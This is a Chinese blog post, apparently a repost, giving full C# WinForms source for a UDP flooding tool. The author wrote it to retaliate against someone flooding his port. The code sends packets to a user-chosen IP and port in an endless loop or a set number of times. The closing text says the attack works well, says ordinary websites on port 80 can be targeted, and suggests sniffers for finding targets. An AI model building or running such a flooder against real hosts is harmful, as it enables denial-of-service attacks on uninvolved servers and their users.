网络攻击程序(C#版)

it2022-05-09  34

今天开天网,发现有一个ip从早上到下午一直在向我的3076端口发送udp包攻击日志一直把天网给活生生的撑破了,天网被日志填满自动关闭。气氛之下写了一个反击的程序,代码如下:

using System;using System.Drawing;using System.Collections;using System.ComponentModel;using System.Windows.Forms;using System.Data;using System.Net;using System.Net.Sockets;using System.Text;using System.Threading;

namespace socket_sender{ /// <summary> /// Form1 的摘要说明。 /// </summary> public class Form1 : System.Windows.Forms.Form {  public bool run=false;    //开始攻击的标志  public string sendstr="泄愤!";   //待发送的内容  public int count=0;    //发送次数  public Thread myAttack; //攻击线程  private System.Windows.Forms.Label label1;  private System.Windows.Forms.TextBox t_dis;  private System.Windows.Forms.Label label2;  private System.Windows.Forms.TextBox t_numb;  private System.Windows.Forms.RadioButton r1;  private System.Windows.Forms.RadioButton r2;  private System.Windows.Forms.Button button1;  private System.Windows.Forms.Button button2;  private System.Windows.Forms.Label label3;  public System.Windows.Forms.TextBox t_port;  private System.Windows.Forms.Label label4;  public  System.Windows.Forms.TextBox t_content;  public System.Windows.Forms.Label msg;  private System.Windows.Forms.Label label5;  private System.Windows.Forms.TextBox t_locPort;  /// <summary>  /// 必需的设计器变量。  /// </summary>  private System.ComponentModel.Container components = null;

  public Form1()  {   //   // Windows 窗体设计器支持所必需的   //   InitializeComponent();

   //   // TODO: 在 InitializeComponent 调用后添加任何构造函数代码   //  }

  /// <summary>  /// 清理所有正在使用的资源。  /// </summary>  protected override void Dispose( bool disposing )  {   if( disposing )   {    if (components != null)     {     components.Dispose();    }   }   base.Dispose( disposing );  }

  #region Windows 窗体设计器生成的代码  /// <summary>  /// 设计器支持所需的方法 - 不要使用代码编辑器修改  /// 此方法的内容。  /// </summary>  private void InitializeComponent()  {   this.label1 = new System.Windows.Forms.Label();   this.t_dis = new System.Windows.Forms.TextBox();   this.label2 = new System.Windows.Forms.Label();   this.t_numb = new System.Windows.Forms.TextBox();   this.r1 = new System.Windows.Forms.RadioButton();   this.r2 = new System.Windows.Forms.RadioButton();   this.button1 = new System.Windows.Forms.Button();   this.button2 = new System.Windows.Forms.Button();   this.label3 = new System.Windows.Forms.Label();   this.t_port = new System.Windows.Forms.TextBox();   this.label4 = new System.Windows.Forms.Label();   this.t_content = new System.Windows.Forms.TextBox();   this.msg = new System.Windows.Forms.Label();   this.label5 = new System.Windows.Forms.Label();   this.t_locPort = new System.Windows.Forms.TextBox();   this.SuspendLayout();   //    // label1   //    this.label1.Location = new System.Drawing.Point(24, 104);   this.label1.Name = "label1";   this.label1.Size = new System.Drawing.Size(56, 16);   this.label1.TabIndex = 0;   this.label1.Text = "目标IP:";   //    // t_dis   //    this.t_dis.Location = new System.Drawing.Point(112, 96);   this.t_dis.Name = "t_dis";   this.t_dis.Size = new System.Drawing.Size(192, 21);   this.t_dis.TabIndex = 2;   this.t_dis.Text = "";   //    // label2   //    this.label2.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(134)));   this.label2.ForeColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(64)), ((System.Byte)(0)));   this.label2.Location = new System.Drawing.Point(112, 24);   this.label2.Name = "label2";   this.label2.Size = new System.Drawing.Size(136, 16);   this.label2.TabIndex = 2;   this.label2.Text = "网络泄愤攻击机";   //    // t_numb   //    this.t_numb.Enabled = false;   this.t_numb.Location = new System.Drawing.Point(232, 240);   this.t_numb.Name = "t_numb";   this.t_numb.Size = new System.Drawing.Size(40, 21);   this.t_numb.TabIndex = 12;   this.t_numb.Text = "";   //    // r1   //    this.r1.Location = new System.Drawing.Point(152, 240);   this.r1.Name = "r1";   this.r1.Size = new System.Drawing.Size(88, 24);   this.r1.TabIndex = 10;   this.r1.Text = "攻击次数:";   this.r1.CheckedChanged += new System.EventHandler(this.r1_CheckedChanged);   //    // r2   //    this.r2.Checked = true;   this.r2.Location = new System.Drawing.Point(40, 240);   this.r2.Name = "r2";   this.r2.TabIndex = 8;   this.r2.TabStop = true;   this.r2.Text = "一直循环";   //    // button1   //    this.button1.Location = new System.Drawing.Point(56, 280);   this.button1.Name = "button1";   this.button1.Size = new System.Drawing.Size(75, 32);   this.button1.TabIndex = 15;   this.button1.Text = "开 始";   this.button1.Click += new System.EventHandler(this.button1_Click);   //    // button2   //    this.button2.Location = new System.Drawing.Point(200, 280);   this.button2.Name = "button2";   this.button2.Size = new System.Drawing.Size(75, 32);   this.button2.TabIndex = 16;   this.button2.Text = "停 止";   this.button2.Click += new System.EventHandler(this.button2_Click);   //    // label3   //    this.label3.Location = new System.Drawing.Point(24, 136);   this.label3.Name = "label3";   this.label3.Size = new System.Drawing.Size(72, 16);   this.label3.TabIndex = 0;   this.label3.Text = "目标端口:";   //    // t_port   //    this.t_port.Location = new System.Drawing.Point(112, 128);   this.t_port.Name = "t_port";   this.t_port.Size = new System.Drawing.Size(88, 21);   this.t_port.TabIndex = 4;   this.t_port.Text = "";   //    // label4   //    this.label4.Location = new System.Drawing.Point(24, 168);   this.label4.Name = "label4";   this.label4.Size = new System.Drawing.Size(64, 16);   this.label4.TabIndex = 0;   this.label4.Text = "内容:";   //    // t_content   //    this.t_content.Location = new System.Drawing.Point(112, 168);   this.t_content.Multiline = true;   this.t_content.Name = "t_content";   this.t_content.Size = new System.Drawing.Size(192, 56);   this.t_content.TabIndex = 6;   this.t_content.Text = "";   //    // msg   //    this.msg.ForeColor = System.Drawing.Color.Red;   this.msg.Location = new System.Drawing.Point(8, 336);   this.msg.Name = "msg";   this.msg.Size = new System.Drawing.Size(296, 16);   this.msg.TabIndex = 9;   this.msg.Text = "发送次数:";   //    // label5   //    this.label5.Location = new System.Drawing.Point(24, 72);   this.label5.Name = "label5";   this.label5.Size = new System.Drawing.Size(72, 16);   this.label5.TabIndex = 0;   this.label5.Text = "本地端口:";   //    // t_locPort   //    this.t_locPort.Location = new System.Drawing.Point(112, 64);   this.t_locPort.Name = "t_locPort";   this.t_locPort.Size = new System.Drawing.Size(88, 21);   this.t_locPort.TabIndex = 1;   this.t_locPort.Text = "8000";   //    // Form1   //    this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);   this.ClientSize = new System.Drawing.Size(328, 357);   this.Controls.Add(this.msg);   this.Controls.Add(this.t_content);   this.Controls.Add(this.t_port);   this.Controls.Add(this.button1);   this.Controls.Add(this.r2);   this.Controls.Add(this.t_numb);   this.Controls.Add(this.r1);   this.Controls.Add(this.label2);   this.Controls.Add(this.t_dis);   this.Controls.Add(this.label1);   this.Controls.Add(this.button2);   this.Controls.Add(this.label3);   this.Controls.Add(this.label4);   this.Controls.Add(this.label5);   this.Controls.Add(this.t_locPort);   this.Name = "Form1";   this.Text = "小y";   this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);   this.ResumeLayout(false);

  }  #endregion

  /// <summary>  /// 应用程序的主入口点。  /// </summary>  [STAThread]  static void Main()   {   Application.Run(new Form1());  }

//开始按钮  private void button1_Click(object sender, System.EventArgs e)  {      //检测ip和端口号是否填写完整   if(t_dis.Text==""||t_port.Text==""||t_locPort.Text=="")   {    MessageBox.Show("本地端口,目标IP和端口三项不能为空!");    return;   }            //检查是否有自定义发送消息   if(t_content.Text!="")    sendstr=t_content.Text;            //开启线程来实现攻击   Thread myAttack=new Thread(new ThreadStart(this.SendTo));   myAttack.Start();  }

//线程主函数,功能:发送攻击数据包  public void SendTo()  {      msg.Text="线程启动……";   //建立EndPoint和socket   IPEndPoint localHost=new IPEndPoint(IPAddress.Any,int.Parse(t_locPort.Text));   IPEndPoint remotHost=new IPEndPoint(IPAddress.Parse(t_dis.Text),Convert.ToInt16(t_port.Text));   Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Dgram,ProtocolType.Udp);            s.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.SendTimeout,5);   //开始建立连接   try   {    s.Bind((EndPoint)localHost);    s.Connect(remotHost);   }   catch(SocketException e)   {    MessageBox.Show("建立连接失败!"+e.Message.ToString());    return;   }

   //如果连接成功,开始发送数据包   msg.Text="连接成功!";   byte[] sendb=Encoding.Default.GetBytes(sendstr);   run=true;   while(run)   {    Application.DoEvents();    if(r1.Checked)    {     //如果选择了多少次     for(int i=1;i<=Convert.ToInt16(t_numb.Text);i++)     {      s.Send(sendb,sendb.Length,0); //发送数据      count++;      msg.Text="发送次数:"+count;     }     run=false;  //攻击完指定次数后,循环结束    }    else    {     //选择了一直发送     s.Send(sendb,sendb.Length,0); //发送数据     count++;     msg.Text="发送次数:"+count;    }   }   s.Close();   run=false;            msg.Text="线程退出,攻击停止!";  }

//停止攻击  private void button2_Click(object sender, System.EventArgs e)  {     run=false;  }//指定发送次数  private void r1_CheckedChanged(object sender, System.EventArgs e)  {   if(r1.Checked)    t_numb.Enabled=true;   else    t_numb.Enabled=false;  }//关闭  private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)  {   run=false;   if(myAttack!=null)    myAttack.Join(3000);  } }}

 

我在wind2000下运行通过,攻击效果不错。 选填ip和端口的方法:不是所有的ip和所有的端口都可以攻击的,但一般网站的ip+80端口,都可以攻击 也可以用一些抓包工具抓到网络的ip信息,填上该iP和对应的端口就一定可以连上。抓包工具如:sniffer1.02

转载于:https://www.cnblogs.com/tuyile006/archive/2006/09/12/502157.html


最新回复(0)